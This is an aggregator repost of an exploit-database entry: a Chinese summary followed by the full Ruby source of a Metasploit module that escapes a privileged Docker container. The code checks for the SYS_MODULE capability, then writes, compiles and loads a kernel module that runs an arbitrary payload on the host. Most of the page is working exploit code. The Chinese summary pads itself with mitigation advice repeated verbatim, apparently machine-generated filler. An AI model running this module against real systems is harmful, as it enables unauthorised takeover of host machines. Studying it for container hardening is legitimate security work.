The Exploit Database - CXSecurity.com 2024年07月05日
Docker Privileged Container Kernel Escape
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

该模块利用 Docker 容器的 SYS_MODULE 权限,通过编译并加载恶意内核模块的方式,实现从容器逃逸到宿主机,并以 Daemon 用户身份获取控制权。该漏洞利用了容器环境的安全漏洞,攻击者可以利用该漏洞获取宿主机权限,造成严重的安全风险。

😈 该模块利用了 Docker 容器的 SYS_MODULE 权限,该权限允许用户加载和卸载内核模块。

😈 该模块通过编译并加载一个恶意内核模块,该模块会执行一个预定义的 shell 命令,从而实现从容器逃逸到宿主机。

😈 该模块需要在容器内拥有 root 权限,并且需要安装 kernel headers 以及 make 和 insmod 命令。

😈 该模块会将恶意内核模块写入容器内的指定目录,并使用 make 命令进行编译,最终加载到内核中。

😈 该模块在执行完毕后,会尝试删除恶意内核模块,但如果模块没有被完全删除,则需要手动删除。

😈 该漏洞利用了容器环境的安全漏洞,攻击者可以利用该漏洞获取宿主机权限,造成严重的安全风险。

😈 为了避免此类漏洞,建议使用安全的容器镜像,并定期更新容器镜像和系统软件。

😈 建议使用安全扫描工具对容器进行安全扫描,及时发现和修复安全漏洞。

😈 建议使用安全的容器编排工具,并配置相应的安全策略,防止容器逃逸到宿主机。

😈 建议在容器环境中使用最小权限原则,只授予容器运行所必需的权限。

😈 建议对容器内的应用程序进行安全加固,防止恶意代码执行。

😈 建议使用安全的网络隔离策略,防止容器与外部网络进行不必要的连接。

😈 建议使用安全的日志记录和监控系统,及时发现和分析安全事件。

😈 建议对容器环境进行定期安全审计,及时发现和修复安全漏洞。

😈 建议使用安全容器镜像,并定期更新容器镜像和系统软件。

😈 建议使用安全的容器编排工具,并配置相应的安全策略,防止容器逃逸到宿主机。

😈 建议在容器环境中使用最小权限原则,只授予容器运行所必需的权限。

😈 建议对容器内的应用程序进行安全加固,防止恶意代码执行。

😈 建议使用安全的网络隔离策略,防止容器与外部网络进行不必要的连接。

😈 建议使用安全的日志记录和监控系统,及时发现和分析安全事件。

😈 建议对容器环境进行定期安全审计,及时发现和修复安全漏洞。

This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::LocalRank = NormalRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Post::Fileinclude Msf::Post::Unixinclude Msf::Post::Linux::Systeminclude Msf::Post::Linux::Kernelinclude Msf::Exploit::FileDropperdef initialize(info = {})super(update_info(info,{'Name' => 'Docker Privileged Container Kernel Escape','Description' => %q{This module performs a container escape onto the host as the daemonuser. It takes advantage of the SYS_MODULE capability. If thatexists and the linux headers are available to compile on the target,then we can escape onto the host.},'License' => MSF_LICENSE,'Author' => ['Nick Cottrell <Rad10Logic>', # Module writer'Eran Ayalon', # PoC/article writer'Ilan Sokol' # PoC/article writer],'Platform' => %w[linux unix],'Arch' => [ARCH_CMD],'Targets' => [['Automatic', {}]],'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },'SessionTypes' => %w[shell meterpreter],'DefaultTarget' => 0,'References' => [%w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities],%w[URL https://github.com/maK-/reverse-shell-access-kernel-module]],'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL'Notes' => {'Stability' => [ CRASH_SAFE ],'Reliability' => [ REPEATABLE_SESSION ],'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]}}))register_advanced_options([OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/),OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"])])end# Check we have all the prerequisites to perform the escapedef check# Checking database if host has already been disclosed as a containercontainer_name =if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_hostframework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_hostelseget_container_typeendunless %w[docker podman lxc].include?(container_name.downcase)return Exploit::CheckCode::Safe('Host does not appear to be container of any kind')end# is root userunless is_root?return Exploit::CheckCode::Safe('Exploit requires root inside container')end# Checking if the SYS_MODULE capability is enabledcapability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)unless capability_bitmask & 0x0000000000010000 > 0return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')endCheckCode::Vulnerable('Inside Docker container and target appears vulnerable.')enddef exploitkrelease = kernel_release# Check if kernel header folders existkernel_headers_path = ["/lib/modules/#{krelease}/build","/usr/src/kernels/#{krelease}"].find { |path| directory?(path) }unless kernel_headers_pathfail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.')endvprint_status("Kernel headers found at: #{kernel_headers_path}")# Check that our required binaries are installedunless command_exists?('insmod')fail_with(Failure::NoTarget, 'insmod does not appear to be installed.')endunless command_exists?('make')fail_with(Failure::NoTarget, 'make does not appear to be installed.')end# Check that container directory is writableif directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")end# Checking that kernel module isn't already runningif kernel_modules.include?(datastore['KernelModuleName'])fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.")end# Creating source filesprint_status('Creating files...')mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])write_kernel_source(datastore['KernelModuleName'], payload.encoded)write_makefile(datastore['KernelModuleName'])register_files_for_cleanup(["#{datastore['KernelModuleName']}.c",'Makefile'].map { |filename| File.join(datastore['WritableContainerDir'], filename) })# Making exploitprint_status('Compiling the kernel module...')results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'")vprint_status('Make results')vprint_line(results)register_files_for_cleanup(['Module.symvers','modules.order',"#{datastore['KernelModuleName']}.mod","#{datastore['KernelModuleName']}.mod.c","#{datastore['KernelModuleName']}.mod.o","#{datastore['KernelModuleName']}.o"].map { |filename| File.join(datastore['WritableContainerDir'], filename) })# Checking if kernel file existsunless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko")fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.')endprint_good('Kernel module compiled successfully')# Loading module and running exploitprint_status('Loading kernel module...')results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'")unless results.blank?results = results.stripvprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : ''))vprint_line(results) if results.count("\n") > 0endenddef cleanup# Attempt to remove kernel moduleif kernel_modules.include?(datastore['KernelModuleName'])vprint_status('Cleaning kernel module')cmd_exec("rmmod #{datastore['KernelModuleName']}")end# Check that kernel module was removedif kernel_modules.include?(datastore['KernelModuleName'])print_warning('Payload was not a oneshot and cannot be removed until session is ended')print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")endsuperenddef write_kernel_source(filename, payload_content)file_content = <<~SOURCE#include<linux/init.h>#include<linux/module.h>#include<linux/kmod.h>MODULE_LICENSE("GPL");static int start_shell(void){#{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')}char argv[] = {"/bin/bash", "-c", command, NULL};static char env[] = {"HOME=/","TERM=linux","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);}static int init_mod(void){return start_shell();}static void exit_mod(void){return;}module_init(init_mod);module_exit(exit_mod);SOURCEfilename = "#{filename}.c" unless filename.end_with?('.c')write_file(File.join(datastore['WritableContainerDir'], filename), file_content)enddef write_makefile(filename)file_contents = <<~SOURCEobj-m +=#{filename}.oall:\tmake -C $(KERNEL_DIR) M=$(PWD) modulesclean:\tmake -C $(KERNEL_DIR) M=$(PWD) cleanSOURCEwrite_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents)endend

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Docker 容器安全 内核模块 逃逸 漏洞利用
相关文章